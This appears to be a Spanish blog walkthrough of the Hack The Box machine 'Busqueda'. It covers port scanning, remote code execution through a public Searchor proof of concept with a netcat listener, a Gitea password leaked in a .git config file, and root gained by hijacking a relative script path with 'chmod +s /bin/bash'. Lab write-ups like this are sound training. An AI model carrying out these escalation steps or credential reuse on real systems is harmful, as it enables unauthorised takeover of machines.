Busqueda

Artículo escrito el 22 de junio

En esta ocasión volvemos con otra máquina easy de Hack The Box, donde explotaremos una vulnerabilidad que nos dará un shell, el cual nos servirá para obtener información adicional, para posteriormente aprovecharnos de una vulnerabilidad en un script para ganar privilegios.

Reconocimiento de Puertos

Como siempre, empezaremos realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

ip=10.10.11.208
❯ sudo nmapauto $ip

 [*] Reconocimiento inicial de puertos 

Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 12:18 CEST
Initiating SYN Stealth Scan at 12:18
Scanning 10.10.11.208 [65535 ports]
Discovered open port 22/tcp on 10.10.11.208
Discovered open port 80/tcp on 10.10.11.208
Completed SYN Stealth Scan at 12:18, 11.32s elapsed (65535 total ports)
Nmap scan report for 10.10.11.208
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds
           Raw packets sent: 65589 (2.886MB) | Rcvd: 65535 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 12:18 CEST
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos 

Si tratamos de cargar el puerto 80:

❯ curl $ip -L
curl: (6) Could not resolve host: searcher.htb

Se aplica virtualhost. Añadimos el dominio en el /etc/hosts:

echo "10.10.11.208    searcher.htb" | sudo tee -a /etc/hosts

Si cargamos ahora de nuevo con el navegador:

Si nos fijamos, aparece un número de versión, por lo que podemos tratar de buscar si existe alguna vulnerabilidad para la misma.

Explotando vulnerabilidad

Realizando una búsqueda en Google podemos ver varios resultados, entre ellos, este repositorio https://github.com/jonnyzar/POC-Searchor-2.4.2. Con este parámetro parece que podemos ganar RCE.

En primer lugar nos ponemos en escucha con Netcat: nc -nlvp 1234 y probamos el parámetro de la prueba de concepto mediante Burpsuite:

Nada más entrar comprobamos dónde estamos, quiénes somos y revisamos un poco el directorio actual:

$ pwd
/var/www/app
$ id         
uid=1000(svc) gid=1000(svc) groups=1000(svc)
$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jun 16 16:48 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
$ cd .git
$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 16 16:48 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs
$ cat config
[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
[remote "origin"]
  url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
  remote = origin
  merge = refs/heads/main

En este punto nos encontramos unas credenciales de un usuario para un sitio.

Si añadimos el subdominio al /etc/hosts y revisamos en la web con esos datos no vemos nada interesante, aunque sí descubrimos la existencia de un usuario privilegiado, administrator

Con todo esto que ya sabemos, vamos a intentar coger la flag de user y seguir investigando:

$ ls /home
svc
$ cd ~
$ ls
dirty_sockv2.py
full-checkup.py
snap
snapd_exploit.py
user.txt
$ cat user.txt  

Escalada de privilegios

Para la flag de user no necesitábamos nada más, solamente con ganar el RCE ya podemos leerla.

Con los datos anteriormente descubiertos, no podemos conectarnos por SSH ya que el usuario cody no existe en el sistema, lo podemos comprobar con cat /etc/passwd | grep cody.

Sin embargo, si reutilizamos la contraseña con nuestro usuario actual svc sí es correcta, por lo que podemos conectarnos por SSH para tener una TTY interactiva y acceso directo.

De esta forma, empezaremos viendo los comandos que podemos ejecutar como otro usuario:

svc@busqueda:/var/www/app$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app$ 

Tenemos permiso para utilizar ese script como root, así que vamos a ver qué hace:

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS        PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   5 months ago   Up 19 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   5 months ago   Up 19 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

Bien, nos indica las 3 opciones que podemos hacer. Con la primera vemos los 2 contenedores que están funcionando.

Para utilizar la 2ª opción necesitamos un formato, que si vamos a la ayuda oficial de Docker https://docs.docker.com/engine/reference/commandline/inspect/ podemos ver:

Básicamente aquí nos encontramos unas credenciales de acceso, pero antes de ver qué podemos hacer con ellas, vamos a ejecutar la 3ª y última opción que nos quedaba:

svc@busqueda:/var/www/app$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup                                           
[sudo] password for svc: 
Something went wrong

Nos indica que hubo algún error, por lo que si seguimos con el hilo anterior y accedemos a gitea.searcher.htb, recordaremos que existía un usuario administrator, con el que nos podemos loguear reutilizando una contraseña de las que hemos conseguido con la 2ª opción.

Revisando esos ficheros, podemos ver system-checkup.py, que es el script que podemos ejecutar como root, así que vamos a ver de qué forma está hecho para ver si nos podemos aprovechar de alguna vulnerabilidad:

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

Ahora ya entendemos por qué no funcionaba la 3ª opción del script (full-checkup), ya que se está llamando de forma relativa a full-checkup.sh.

De esta forma, debería bastar con generar ese nombre de fichero con permisos de ejecución en un directorio en el que tengamos escritura, por lo que crearemos este script:

#!/bin/bash

chmod +s /bin/bash

Vamos a ello:

svc@busqueda:/tmp$ cd ~
svc@busqueda:~$ nano full-checkup.sh
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[sudo] password for svc: 

[+] Done!
svc@busqueda:~$ bash -p
bash-5.1# cd /root
bash-5.1# ls
ecosystem.config.js  root.txt  scripts  snap
bash-5.1# cat root.txt

Con esto hemos finalizado la máquina. Las de Hack The Box son bastante más complejas y se me atragantan en ciertos puntos bastante, pero están bien porque se aprenden muchas cosas. Nos vemos en la siguiente.